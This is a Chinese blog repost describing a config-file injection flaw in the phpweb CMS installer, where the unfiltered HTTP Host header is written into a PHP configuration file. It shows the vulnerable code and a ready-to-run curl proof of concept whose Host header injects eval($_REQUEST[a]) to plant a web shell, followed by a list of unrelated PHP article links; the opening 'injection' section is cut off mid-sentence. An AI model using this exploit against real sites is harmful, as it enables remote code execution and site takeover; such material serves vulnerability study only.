博客
关于我
phpweb成品网站最新版(注入、上传、写shell)
阅读量:798 次
发布时间:2023-02-28

本文共 1095 字,大约阅读时间需要 3 分钟。

注入:通过

之所以鸡肋就是该漏洞利用安装文件重新生成配置文件并写入可执行代码。

鸡肋1:具有破坏性,动作非常大,重新写了配置文件、数据库连接文件。

鸡肋2:有一定安全常识的站长都会删掉install目录。

虽然鸡肋,但也有优点:不受magic_quotes_gpc、webserver影响。

$siteurl = "http://" . $_SERVER["HTTP_HOST"] . "/"; //未过滤$filestr = fread(fopen($SysConfigFile, 'r'), 30000);$filestr = str_replace(" ", "", $filestr);$filestr = str_replace("DefaultDbHost", $dbhost, $filestr);$filestr = str_replace("DefaultDbName", $dbname, $filestr);$filestr = str_replace("DefaultDbUser", $dbuser, $filestr);$filestr = str_replace("DefaultDbPass", $dbpwd, $filestr);$filestr = str_replace("DefaultsLan", "zh_cn", $filestr);$filestr = str_replace("DefaultTablePre", $tablepre, $filestr);$filestr = str_replace("DefaultSiteUrl", $siteurl, $filestr);fwrite(fopen($ConFile, "w"), $filestr, 30000);

$_SERVER["HTTP_HOST"]即http头中HOST传递过来的可控且不受magic_quotes_gpc影响。

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

 

转载自:https://www.cnblogs.com/58top/p/3728626.html

你可能感兴趣的文章
PHP学习总结(3)——PHP入门篇之PHP的echo语句
查看>>
PHP学习总结(4)——PHP入门篇之PHP计算表达式
查看>>
PHP学习总结(5)——PHP入门篇之PHP字符串
查看>>
PHP学习总结(6)——PHP入门篇之PHP语句结束符
查看>>
PHP学习总结(7)——PHP入门篇之PHP注释
查看>>
rabbitmq重启失败
查看>>
PHP学习总结(9)——PHP入门篇之WAMPServer服务控制面板介绍
查看>>
php学习笔记---php调试和开发工具整理
查看>>
PHP学习笔记一:谁动了你的mail(),PHP?
查看>>
PHP安全实战
查看>>
php安装扩展
查看>>
php实战第二十二天
查看>>
rabbitmq重启
查看>>
php实现上传(多个)文件函数封装
查看>>
php实现下载文件方法
查看>>
php实现单链表
查看>>
php实现图片背景换色功能
查看>>
php实现多个一维数组对应合并成二维数组
查看>>
php实现多关键字查找方法
查看>>
PHP实现微信公众号H5支付
查看>>